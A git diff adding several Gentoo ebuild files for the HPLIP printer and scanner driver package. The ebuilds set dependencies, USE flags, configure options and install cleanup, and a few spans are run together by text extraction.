drv_build="${drv_build} $(use_enable hpijs hpijs-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-foomatic-ppd-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + else + drv_build="${drv_build} --enable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + else + drv_build="${drv_build} --disable-hpijs-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + + if use minimal ; then + if use hpijs ; then + minimal_build="--enable-hpijs-only-build" + else + minimal_build="--disable-hpijs-only-build" + fi + if use hpcups ; then + minimal_build="${minimal_build} --enable-hpcups-only-build" + else + minimal_build="${minimal_build} --disable-hpcups-only-build" + fi + fi + + econf \ + --disable-cups11-build \ + --disable-lite-build \ + --disable-foomatic-rip-hplip-install \ + --disable-shadow-build \ + --disable-qt3 \ + --disable-udev_sysfs_rules \ + --disable-udev-acl-rules \ + --with-cupsbackenddir=$(cups-config --serverbin)/backend \ + --with-cupsfilterdir=$(cups-config --serverbin)/filter \ + --with-docdir=/usr/share/doc/${PF} \ + --with-htmldir=/usr/share/doc/${PF}/html \ + ${myconf} \ + ${drv_build} \ + ${minimal_build} \ + $(use_enable doc doc-build) \ + $(use_enable fax fax-build) \ + $(use_enable parport pp-build) \ + $(use_enable scanner scan-build) \ + $(use_enable snmp network-build) \ + $(use_enable qt4 gui-build) \ + $(use_enable qt4) \ + $(use_enable policykit) +} + +src_install() { + default + + # Installed by sane-backends + # Gentoo Bug: https://bugs.gentoo.org/show_bug.cgi?id=201023 + rm -f "${D}"/etc/sane.d/dll.conf || die + + # bug 106035/259763 + if ! use autostart || ! use qt4 ; then + rm -r "${D}"/usr/share/applications "${D}"/etc/xdg + fi + + rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die + rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die + + # Remove hal fdi files + rm -rf "${D}"/usr/share/hal || die + + find "${D}" -name '*.la' -exec rm -rf {} + || die +} + +pkg_postinst() { + use !minimal && python_mod_optimize /usr/share/${PN} + fdo-mime_desktop_database_update + + if [[ -z "${REPLACING_VERSIONS}" ]]; then + elog "For more information on setting up your printer please take" + elog "a look at the hplip section of the gentoo printing guide:" + elog "http://www.gentoo.org/doc/en/printing-howto.xml" + elog + elog "Any user who wants to print must be in the lp group." + fi +} + +pkg_postrm() { + use !minimal && python_mod_cleanup /usr/share/${PN} + fdo-mime_desktop_database_update +} diff --git a/net-print/hplip/hplip-3.12.10a.ebuild b/net-print/hplip/hplip-3.12.10a.ebuild new file mode 100644 index 00000000..8fccc6e4 --- /dev/null +++ b/net-print/hplip/hplip-3.12.10a.ebuild @@ -0,0 +1,251 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.10a.ebuild,v 1.10 2013/02/09 08:57:51 billie Exp $ + +EAPI=4 + +PYTHON_DEPEND="!minimal? 2" +PYTHON_USE_WITH="threads xml" +PYTHON_USE_WITH_OPT="!minimal" + +inherit eutils fdo-mime linux-info python udev autotools toolchain-funcs + +DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools." +HOMEPAGE="http://hplipopensource.com/hplip-web/index.html" +SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz + http://dev.gentoo.org/~billie/distfiles/${PN}-3.12.10-patches-1.tar.xz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 ~arm ppc ppc64 x86" + +# zeroconf does not work properly with >=cups-1.4. +# Thus support for it is also disabled in hplip. +IUSE="+autostart doc fax +hpcups hpijs kde libnotify libusb0 minimal parport policykit qt4 scanner snmp static-ppds X" + +COMMON_DEPEND=" + virtual/jpeg + hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] ) + !minimal? ( + >=net-print/cups-1.4.0 + !libusb0? ( virtual/libusb:1 ) + libusb0? ( virtual/libusb:0 ) + scanner? ( >=media-gfx/sane-backends-1.0.19-r1 ) + fax? ( sys-apps/dbus ) + snmp? ( + net-analyzer/net-snmp + dev-libs/openssl:0 + ) + )" + +DEPEND="${COMMON_DEPEND} + virtual/pkgconfig" + +RDEPEND="${COMMON_DEPEND} + >=app-text/ghostscript-gpl-8.71-r3 + dev-python/dbus-python + policykit? ( + sys-auth/polkit + ) + !minimal? ( + dev-python/pygobject:2 + kernel_linux? ( virtual/udev ! ${i}.temp || die + mv ${i}.temp ${i} || die + done + + eautoreconf +} + +src_configure() { + local myconf drv_build minimal_build + + if use fax || use qt4 ; then + myconf="${myconf} --enable-dbus-build" + else + myconf="${myconf} --disable-dbus-build" + fi + + if use libusb0 ; then + myconf="${myconf} --enable-libusb01_build" + else + myconf="${myconf} --disable-libusb01_build" + fi + + if use hpcups ; then + drv_build="$(use_enable hpcups hpcups-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-cups-ppd-install" + drv_build="${drv_build} --disable-cups-drv-install" + else + drv_build="${drv_build} --enable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + else + drv_build="--disable-hpcups-install" + drv_build="${drv_build} --disable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + + if use hpijs ; then + drv_build="${drv_build} $(use_enable hpijs hpijs-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-foomatic-ppd-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + else + drv_build="${drv_build} --enable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + else + drv_build="${drv_build} --disable-hpijs-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + + if use minimal ; then + if use hpijs ; then + minimal_build="--enable-hpijs-only-build" + else + minimal_build="--disable-hpijs-only-build" + fi + if use hpcups ; then + minimal_build="${minimal_build} --enable-hpcups-only-build" + else + minimal_build="${minimal_build} --disable-hpcups-only-build" + fi + fi + + econf \ + --disable-cups11-build \ + --disable-lite-build \ + --disable-foomatic-rip-hplip-install \ + --disable-shadow-build \ + --disable-qt3 \ + --disable-udev_sysfs_rules \ + --disable-udev-acl-rules \ + --with-cupsbackenddir=$(cups-config --serverbin)/backend \ + --with-cupsfilterdir=$(cups-config --serverbin)/filter \ + --with-docdir=/usr/share/doc/${PF} \ + --with-htmldir=/usr/share/doc/${PF}/html \ + ${myconf} \ + ${drv_build} \ + ${minimal_build} \ + $(use_enable doc doc-build) \ + $(use_enable fax fax-build) \ + $(use_enable parport pp-build) \ + $(use_enable scanner scan-build) \ + $(use_enable snmp network-build) \ + $(use_enable qt4 gui-build) \ + $(use_enable qt4) \ + $(use_enable policykit) +} + +src_install() { + default + + # Installed by sane-backends + # Gentoo Bug: #201023 + rm -f "${D}"/etc/sane.d/dll.conf || die + + # bug 106035/259763 + if ! use autostart || ! use qt4 ; then + rm -r "${D}"/usr/share/applications "${D}"/etc/xdg + fi + + rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die + rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die + + # Remove hal fdi files + rm -rf "${D}"/usr/share/hal || die + + find "${D}" -name '*.la' -exec rm -rf {} + || die +} + +pkg_postinst() { + use !minimal && python_mod_optimize /usr/share/${PN} + fdo-mime_desktop_database_update + + if [[ -z "${REPLACING_VERSIONS}" ]]; then + elog "For more information on setting up your printer please take" + elog "a look at the hplip section of the gentoo printing guide:" + elog "http://www.gentoo.org/doc/en/printing-howto.xml" + elog + elog "Any user who wants to print must be in the lp group." + fi +} + +pkg_postrm() { + use !minimal && python_mod_cleanup /usr/share/${PN} + fdo-mime_desktop_database_update +} diff --git a/net-print/hplip/hplip-3.12.11-r1.ebuild b/net-print/hplip/hplip-3.12.11-r1.ebuild new file mode 100644 index 00000000..d5b0186c --- /dev/null +++ b/net-print/hplip/hplip-3.12.11-r1.ebuild @@ -0,0 +1,263 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.11-r1.ebuild,v 1.2 2013/02/09 09:07:31 billie Exp $ + +EAPI=5 + +PYTHON_COMPAT=( python{2_6,2_7} ) +PYTHON_REQ_USE="threads,xml" + +inherit eutils fdo-mime linux-info python-single-r1 udev autotools toolchain-funcs + +DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools." +HOMEPAGE="http://hplipopensource.com/hplip-web/index.html" +SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz + http://dev.gentoo.org/~billie/distfiles/${PN}-3.12.10-patches-1.tar.xz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~ppc ~ppc64 ~x86" + +# zeroconf does not work properly with >=cups-1.4. +# Thus support for it is also disabled in hplip. +IUSE="+autostart doc fax +hpcups hpijs kde libnotify libusb0 minimal parport policykit qt4 scanner snmp static-ppds X" + +# TODO: check if net-print/cups, sys-apps/dbus, net-analyzer/net-snmp +# and dev-python/notify-python are migrated to python-r1 + +COMMON_DEPEND=" + virtual/jpeg + hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] ) + !minimal? ( + ${PYTHON_DEPS} + >=net-print/cups-1.4.0 + !libusb0? ( virtual/libusb:1 ) + libusb0? ( virtual/libusb:0 ) + scanner? ( >=media-gfx/sane-backends-1.0.19-r1 ) + fax? ( sys-apps/dbus ) + snmp? ( + net-analyzer/net-snmp + dev-libs/openssl:0 + ) + )" + +DEPEND="${COMMON_DEPEND} + virtual/pkgconfig" + +RDEPEND="${COMMON_DEPEND} + >=app-text/ghostscript-gpl-8.71-r3 + >=dev-python/dbus-python-1.1.1-r1[${PYTHON_USEDEP}] + policykit? ( + sys-auth/polkit + ) + !minimal? ( + >=dev-python/pygobject-2.28.6-r53:2[${PYTHON_USEDEP}] + kernel_linux? ( virtual/udev !=dev-python/reportlab-2.6[${PYTHON_USEDEP}] + >=dev-python/imaging-1.1.7-r2[${PYTHON_USEDEP}] + X? ( || ( + kde? ( kde-misc/skanlite ) + media-gfx/xsane + media-gfx/sane-frontends + ) ) + ) + fax? ( + >=dev-python/reportlab-2.6[${PYTHON_USEDEP}] + >=dev-python/dbus-python-1.1.1-r1[${PYTHON_USEDEP}] + ) + qt4? ( + >=dev-python/PyQt4-4.9.6-r2[dbus,X,${PYTHON_USEDEP}] + libnotify? ( + dev-python/notify-python + ) + ) + )" + +CONFIG_CHECK="~PARPORT ~PPDEV" +ERROR_PARPORT="Please make sure kernel parallel port support is enabled (PARPORT and PPDEV)." + +pkg_setup() { + use !minimal && python-single-r1_pkg_setup + + ! use qt4 && ewarn "You need USE=qt4 for the hplip GUI." + + use scanner && ! use X && ewarn "You need USE=X for the scanner GUI." + + if ! use hpcups && ! use hpijs ; then + ewarn "Installing neither hpcups (USE=-hpcups) nor hpijs (USE=-hpijs) driver," + ewarn "which is probably not what you want." + ewarn "You will almost certainly not be able to print." + fi + + if use minimal ; then + ewarn "Installing driver portions only, make sure you know what you are doing." + ewarn "Depending on the USE flags set for hpcups or hpijs the appropiate driver" + ewarn "is installed. If both USE flags are set hpijs overrides hpcups." + else + use parport && linux-info_pkg_setup + fi +} + +src_prepare() { + if use !minimal ; then + python_export EPYTHON PYTHON + python_fix_shebang . + fi + + EPATCH_SUFFIX="patch" \ + EPATCH_FORCE="yes" \ + epatch "${WORKDIR}" + + # Make desktop files follow the specification + # Gentoo bug: https://bugs.gentoo.org/show_bug.cgi?id=443680 + # Upstream bug: https://bugs.launchpad.net/hplip/+bug/1080324 + sed -i -e '/^Categories=/s/Application;//' \ + -e '/^Encoding=.*/d' hplip.desktop.in || die + sed -i -e '/^Categories=/s/Application;//' \ + -e '/^Version=.*/d' \ + -e '/^Comment=.*/d' hplip-systray.desktop.in || die + + # Fix for Gentoo bug https://bugs.gentoo.org/show_bug.cgi?id=345725 + # Upstream bug: https://bugs.launchpad.net/hplip/+bug/880847, + # https://bugs.launchpad.net/hplip/+bug/500086 + local udevdir="$(udev_get_udevdir)" + sed -i -e "s|/etc/udev|${udevdir}|g" \ + $(find . -type f -exec grep -l /etc/udev {} +) || die + + # Force recognition of Gentoo distro by hp-check + sed -i \ + -e "s:file('/etc/issue', 'r').read():'Gentoo':" \ + installer/core_install.py || die + + # Use system foomatic-rip for hpijs driver instead of foomatic-rip-hplip + # The hpcups driver does not use foomatic-rip + local i + for i in ppd/hpijs/*.ppd.gz ; do + rm -f ${i}.temp || die + gunzip -c ${i} | sed 's/foomatic-rip-hplip/foomatic-rip/g' | \ + gzip > ${i}.temp || die + mv ${i}.temp ${i} || die + done + + eautoreconf +} + +src_configure() { + local myconf drv_build minimal_build + + if use fax || use qt4 ; then + myconf="${myconf} --enable-dbus-build" + else + myconf="${myconf} --disable-dbus-build" + fi + + if use libusb0 ; then + myconf="${myconf} --enable-libusb01_build" + else + myconf="${myconf} --disable-libusb01_build" + fi + + if use hpcups ; then + drv_build="$(use_enable hpcups hpcups-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-cups-ppd-install" + drv_build="${drv_build} --disable-cups-drv-install" + else + drv_build="${drv_build} --enable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + else + drv_build="--disable-hpcups-install" + drv_build="${drv_build} --disable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + + if use hpijs ; then + drv_build="${drv_build} $(use_enable hpijs hpijs-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-foomatic-ppd-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + else + drv_build="${drv_build} --enable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + else + drv_build="${drv_build} --disable-hpijs-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + + if use minimal ; then + if use hpijs ; then + minimal_build="--enable-hpijs-only-build" + else + minimal_build="--disable-hpijs-only-build" + fi + if use hpcups ; then + minimal_build="${minimal_build} --enable-hpcups-only-build" + else + minimal_build="${minimal_build} --disable-hpcups-only-build" + fi + fi + + econf \ + --disable-cups11-build \ + --disable-lite-build \ + --disable-foomatic-rip-hplip-install \ + --disable-shadow-build \ + --disable-qt3 \ + --disable-udev_sysfs_rules \ + --disable-udev-acl-rules \ + --with-cupsbackenddir=$(cups-config --serverbin)/backend \ + --with-cupsfilterdir=$(cups-config --serverbin)/filter \ + --with-docdir=/usr/share/doc/${PF} \ + --with-htmldir=/usr/share/doc/${PF}/html \ + ${myconf} \ + ${drv_build} \ + ${minimal_build} \ + $(use_enable doc doc-build) \ + $(use_enable fax fax-build) \ + $(use_enable parport pp-build) \ + $(use_enable scanner scan-build) \ + $(use_enable snmp network-build) \ + $(use_enable qt4 gui-build) \ + $(use_enable qt4) \ + $(use_enable policykit) +} + +src_install() { + default + + # Installed by sane-backends + # Gentoo Bug: https://bugs.gentoo.org/show_bug.cgi?id=201023 + rm -f "${D}"/etc/sane.d/dll.conf || die + + # bug 106035/259763 + if ! use autostart || ! use qt4 ; then + rm -r "${D}"/usr/share/applications "${D}"/etc/xdg + fi + + rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die + rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die + + # Remove hal fdi files + rm -rf "${D}"/usr/share/hal || die + + find "${D}" -name '*.la' -exec rm -rf {} + || die + + if use !minimal ; then + python_export EPYTHON PYTHON + python_optimize "${D}"/usr/share/hplip + fi +} + +pkg_postinst() { + if [[ -z "${REPLACING_VERSIONS}" ]]; then + elog "For more information on setting up your printer please take" + elog "a look at the hplip section of the gentoo printing guide:" + elog "http://www.gentoo.org/doc/en/printing-howto.xml" + elog + elog "Any user who wants to print must be in the lp group." + fi +} diff --git a/net-print/hplip/hplip-3.12.11.ebuild b/net-print/hplip/hplip-3.12.11.ebuild new file mode 100644 index 00000000..4ca485c3 --- /dev/null +++ b/net-print/hplip/hplip-3.12.11.ebuild @@ -0,0 +1,263 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.11.ebuild,v 1.4 2013/02/09 09:07:31 billie Exp $ + +EAPI=5 + +PYTHON_DEPEND="!minimal? 2" +PYTHON_USE_WITH="threads xml" +PYTHON_USE_WITH_OPT="!minimal" + +inherit eutils fdo-mime linux-info python udev autotools toolchain-funcs + +DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools." +HOMEPAGE="http://hplipopensource.com/hplip-web/index.html" +SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz + http://dev.gentoo.org/~billie/distfiles/${PN}-3.12.10-patches-1.tar.xz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~ppc ~ppc64 ~x86" + +# zeroconf does not work properly with >=cups-1.4. +# Thus support for it is also disabled in hplip. +IUSE="+autostart doc fax +hpcups hpijs kde libnotify libusb0 minimal parport policykit qt4 scanner snmp static-ppds X" + +COMMON_DEPEND=" + virtual/jpeg + hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] ) + !minimal? ( + >=net-print/cups-1.4.0 + !libusb0? ( virtual/libusb:1 ) + libusb0? ( virtual/libusb:0 ) + scanner? ( >=media-gfx/sane-backends-1.0.19-r1 ) + fax? ( sys-apps/dbus ) + snmp? ( + net-analyzer/net-snmp + dev-libs/openssl:0 + ) + )" + +DEPEND="${COMMON_DEPEND} + virtual/pkgconfig" + +RDEPEND="${COMMON_DEPEND} + >=app-text/ghostscript-gpl-8.71-r3 + dev-python/dbus-python + policykit? ( + sys-auth/polkit + ) + !minimal? ( + dev-python/pygobject:2 + kernel_linux? ( virtual/udev ! ${i}.temp || die + mv ${i}.temp ${i} || die + done + + eautoreconf +} + +src_configure() { + local myconf drv_build minimal_build + + if use fax || use qt4 ; then + myconf="${myconf} --enable-dbus-build" + else + myconf="${myconf} --disable-dbus-build" + fi + + if use libusb0 ; then + myconf="${myconf} --enable-libusb01_build" + else + myconf="${myconf} --disable-libusb01_build" + fi + + if use hpcups ; then + drv_build="$(use_enable hpcups hpcups-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-cups-ppd-install" + drv_build="${drv_build} --disable-cups-drv-install" + else + drv_build="${drv_build} --enable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + else + drv_build="--disable-hpcups-install" + drv_build="${drv_build} --disable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + + if use hpijs ; then + drv_build="${drv_build} $(use_enable hpijs hpijs-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-foomatic-ppd-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + else + drv_build="${drv_build} --enable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + else + drv_build="${drv_build} --disable-hpijs-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + + if use minimal ; then + if use hpijs ; then + minimal_build="--enable-hpijs-only-build" + else + minimal_build="--disable-hpijs-only-build" + fi + if use hpcups ; then + minimal_build="${minimal_build} --enable-hpcups-only-build" + else + minimal_build="${minimal_build} --disable-hpcups-only-build" + fi + fi + + econf \ + --disable-cups11-build \ + --disable-lite-build \ + --disable-foomatic-rip-hplip-install \ + --disable-shadow-build \ + --disable-qt3 \ + --disable-udev_sysfs_rules \ + --disable-udev-acl-rules \ + --with-cupsbackenddir=$(cups-config --serverbin)/backend \ + --with-cupsfilterdir=$(cups-config --serverbin)/filter \ + --with-docdir=/usr/share/doc/${PF} \ + --with-htmldir=/usr/share/doc/${PF}/html \ + ${myconf} \ + ${drv_build} \ + ${minimal_build} \ + $(use_enable doc doc-build) \ + $(use_enable fax fax-build) \ + $(use_enable parport pp-build) \ + $(use_enable scanner scan-build) \ + $(use_enable snmp network-build) \ + $(use_enable qt4 gui-build) \ + $(use_enable qt4) \ + $(use_enable policykit) +} + +src_install() { + default + + # Installed by sane-backends + # Gentoo Bug: https://bugs.gentoo.org/show_bug.cgi?id=201023 + rm -f "${D}"/etc/sane.d/dll.conf || die + + # bug 106035/259763 + if ! use autostart || ! use qt4 ; then + rm -r "${D}"/usr/share/applications "${D}"/etc/xdg + fi + + rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die + rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die + + # Remove hal fdi files + rm -rf "${D}"/usr/share/hal || die + + find "${D}" -name '*.la' -exec rm -rf {} + || die +} + +pkg_postinst() { + use !minimal && python_mod_optimize /usr/share/${PN} + fdo-mime_desktop_database_update + + if [[ -z "${REPLACING_VERSIONS}" ]]; then + elog "For more information on setting up your printer please take" + elog "a look at the hplip section of the gentoo printing guide:" + elog "http://www.gentoo.org/doc/en/printing-howto.xml" + elog + elog "Any user who wants to print must be in the lp group." + fi +} + +pkg_postrm() { + use !minimal && python_mod_cleanup /usr/share/${PN} + fdo-mime_desktop_database_update +} diff --git a/net-print/hplip/hplip-3.12.4.ebuild b/net-print/hplip/hplip-3.12.4.ebuild new file mode 100644 index 00000000..d538b41a --- /dev/null +++ b/net-print/hplip/hplip-3.12.4.ebuild @@ -0,0 +1,240 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.4.ebuild,v 1.10 2012/10/20 11:54:01 billie Exp $ + +EAPI=4 + +PYTHON_DEPEND="!minimal? 2" +PYTHON_USE_WITH="threads xml" +PYTHON_USE_WITH_OPT="!minimal" + +inherit eutils fdo-mime linux-info python autotools + +DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools." +HOMEPAGE="http://hplipopensource.com/hplip-web/index.html" +SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz + http://dev.gentoo.org/~billie/distfiles/${P}-patches-1.tar.xz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 ~arm ppc ppc64 x86" + +# zeroconf does not work properly with >=cups-1.4. +# Thus support for it is also disabled in hplip. +IUSE="+autostart doc fax +hpcups hpijs kde libnotify minimal parport policykit qt4 scanner snmp static-ppds X" + +COMMON_DEPEND=" + virtual/jpeg + hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] ) + !minimal? ( + >=net-print/cups-1.4.0 + virtual/libusb:0 + scanner? ( >=media-gfx/sane-backends-1.0.19-r1 ) + fax? ( sys-apps/dbus ) + snmp? ( + net-analyzer/net-snmp + dev-libs/openssl + ) + )" + +DEPEND="${COMMON_DEPEND} + virtual/pkgconfig" + +RDEPEND="${COMMON_DEPEND} + >=app-text/ghostscript-gpl-8.71-r3 + policykit? ( + sys-auth/polkit + ) + !minimal? ( + dev-python/pygobject:2 + kernel_linux? ( >=sys-fs/udev-114 ) + scanner? ( + dev-python/imaging + X? ( || ( + kde? ( kde-misc/skanlite ) + media-gfx/xsane + media-gfx/sane-frontends + ) ) + ) + fax? ( + dev-python/reportlab + dev-python/dbus-python + ) + qt4? ( + dev-python/PyQt4[dbus,X] + libnotify? ( + dev-python/notify-python + ) + ) + )" + +CONFIG_CHECK="~PARPORT ~PPDEV" +ERROR_PARPORT="Please make sure kernel parallel port support is enabled (PARPORT and PPDEV)." + +pkg_setup() { + if ! use minimal; then + python_set_active_version 2 + python_pkg_setup + fi + + ! use qt4 && ewarn "You need USE=qt4 for the hplip GUI." + + use scanner && ! use X && ewarn "You need USE=X for the scanner GUI." + + if ! use hpcups && ! use hpijs ; then + ewarn "Installing neither hpcups (USE=-hpcups) nor hpijs (USE=-hpijs) driver," + ewarn "which is probably not what you want." + ewarn "You will almost certainly not be able to print." + fi + + if use minimal ; then + ewarn "Installing driver portions only, make sure you know what you are doing." + ewarn "Depending on the USE flags set for hpcups or hpijs the appropiate driver" + ewarn "is installed. If both USE flags are set hpijs overrides hpcups." + else + use parport && linux-info_pkg_setup + fi +} + +src_prepare() { + use !minimal && python_convert_shebangs -q -r 2 . + + EPATCH_SUFFIX="patch" \ + EPATCH_FORCE="yes" \ + epatch "${WORKDIR}" + + # Fix for Gentoo bug #345725 + sed -i -e "s|/etc/udev/rules.d|/lib/udev/rules.d|" \ + $(find ./ -type f -exec grep -l '/etc/udev/rules.d' '{}' '+') \ + || die + + # Force recognition of Gentoo distro by hp-check + sed -i \ + -e "s:file('/etc/issue', 'r').read():'Gentoo':" \ + installer/core_install.py || die + + # Use system foomatic-rip for hpijs driver instead of foomatic-rip-hplip + # The hpcups driver does not use foomatic-rip + local i + for i in ppd/hpijs/*.ppd.gz ; do + rm -f ${i}.temp || die + gunzip -c ${i} | sed 's/foomatic-rip-hplip/foomatic-rip/g' | \ + gzip > ${i}.temp || die + mv ${i}.temp ${i} || die + done + + eautoreconf +} + +src_configure() { + local myconf drv_build minimal_build + + if use fax || use qt4 ; then + myconf="${myconf} --enable-dbus-build" + else + myconf="${myconf} --disable-dbus-build" + fi + + if use hpcups ; then + drv_build="$(use_enable hpcups hpcups-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-cups-ppd-install" + drv_build="${drv_build} --disable-cups-drv-install" + else + drv_build="${drv_build} --enable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + else + drv_build="--disable-hpcups-install" + drv_build="${drv_build} --disable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + + if use hpijs ; then + drv_build="${drv_build} $(use_enable hpijs hpijs-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-foomatic-ppd-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + else + drv_build="${drv_build} --enable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + else + drv_build="${drv_build} --disable-hpijs-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + + if use minimal ; then + if use hpijs ; then + minimal_build="--enable-hpijs-only-build" + else + minimal_build="--disable-hpijs-only-build" + fi + if use hpcups ; then + minimal_build="${minimal_build} --enable-hpcups-only-build" + else + minimal_build="${minimal_build} --disable-hpcups-only-build" + fi + fi + + econf \ + --disable-cups11-build \ + --disable-lite-build \ + --disable-foomatic-rip-hplip-install \ + --disable-shadow-build \ + --disable-qt3 \ + --disable-udev-acl-rules \ + --with-cupsbackenddir=$(cups-config --serverbin)/backend \ + --with-cupsfilterdir=$(cups-config --serverbin)/filter \ + --with-docdir=/usr/share/doc/${PF} \ + --with-htmldir=/usr/share/doc/${PF}/html \ + ${myconf} \ + ${drv_build} \ + ${minimal_build} \ + $(use_enable doc doc-build) \ + $(use_enable fax fax-build) \ + $(use_enable parport pp-build) \ + $(use_enable scanner scan-build) \ + $(use_enable snmp network-build) \ + $(use_enable qt4 gui-build) \ + $(use_enable qt4) \ + $(use_enable policykit) +} + +src_install() { + default + + # Installed by sane-backends + # Gentoo Bug: #201023 + rm -f "${D}"/etc/sane.d/dll.conf || die + + # bug 106035/259763 + if ! use autostart || ! use qt4 ; then + rm -r "${D}"/usr/share/applications "${D}"/etc/xdg + fi + + rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die + rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die + + # Remove hal fdi files + rm -rf "${D}"/usr/share/hal || die + + find "${D}" -name '*.la' -exec rm -rf '{}' '+' || die +} + +pkg_postinst() { + use !minimal && python_mod_optimize /usr/share/${PN} + fdo-mime_desktop_database_update + + elog "For more information on setting up your printer please take" + elog "a look at the hplip section of the gentoo printing guide:" + elog "http://www.gentoo.org/doc/en/printing-howto.xml" + elog + elog "Any user who want to print must be in the lp group." +} + +pkg_postrm() { + use !minimal && python_mod_cleanup /usr/share/${PN} + fdo-mime_desktop_database_update +} diff --git a/net-print/hplip/hplip-3.12.9-r1.ebuild b/net-print/hplip/hplip-3.12.9-r1.ebuild new file mode 100644 index 00000000..f7bde3ae --- /dev/null +++ b/net-print/hplip/hplip-3.12.9-r1.ebuild @@ -0,0 +1,243 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.9-r1.ebuild,v 1.7 2012/12/11 17:01:02 axs Exp $ + +EAPI=4 + +PYTHON_DEPEND="!minimal? 2" +PYTHON_USE_WITH="threads xml" +PYTHON_USE_WITH_OPT="!minimal" + +inherit eutils fdo-mime linux-info python udev autotools toolchain-funcs + +DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools." +HOMEPAGE="http://hplipopensource.com/hplip-web/index.html" +SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz + http://dev.gentoo.org/~billie/distfiles/${P}-patches-2.tar.xz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 ~arm ppc ppc64 x86" + +# zeroconf does not work properly with >=cups-1.4. +# Thus support for it is also disabled in hplip. +IUSE="+autostart doc fax +hpcups hpijs kde libnotify minimal parport policykit qt4 scanner snmp static-ppds X" + +COMMON_DEPEND=" + virtual/jpeg + hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] ) + !minimal? ( + >=net-print/cups-1.4.0 + virtual/libusb:1 + scanner? ( >=media-gfx/sane-backends-1.0.19-r1 ) + fax? ( sys-apps/dbus ) + snmp? ( + net-analyzer/net-snmp + 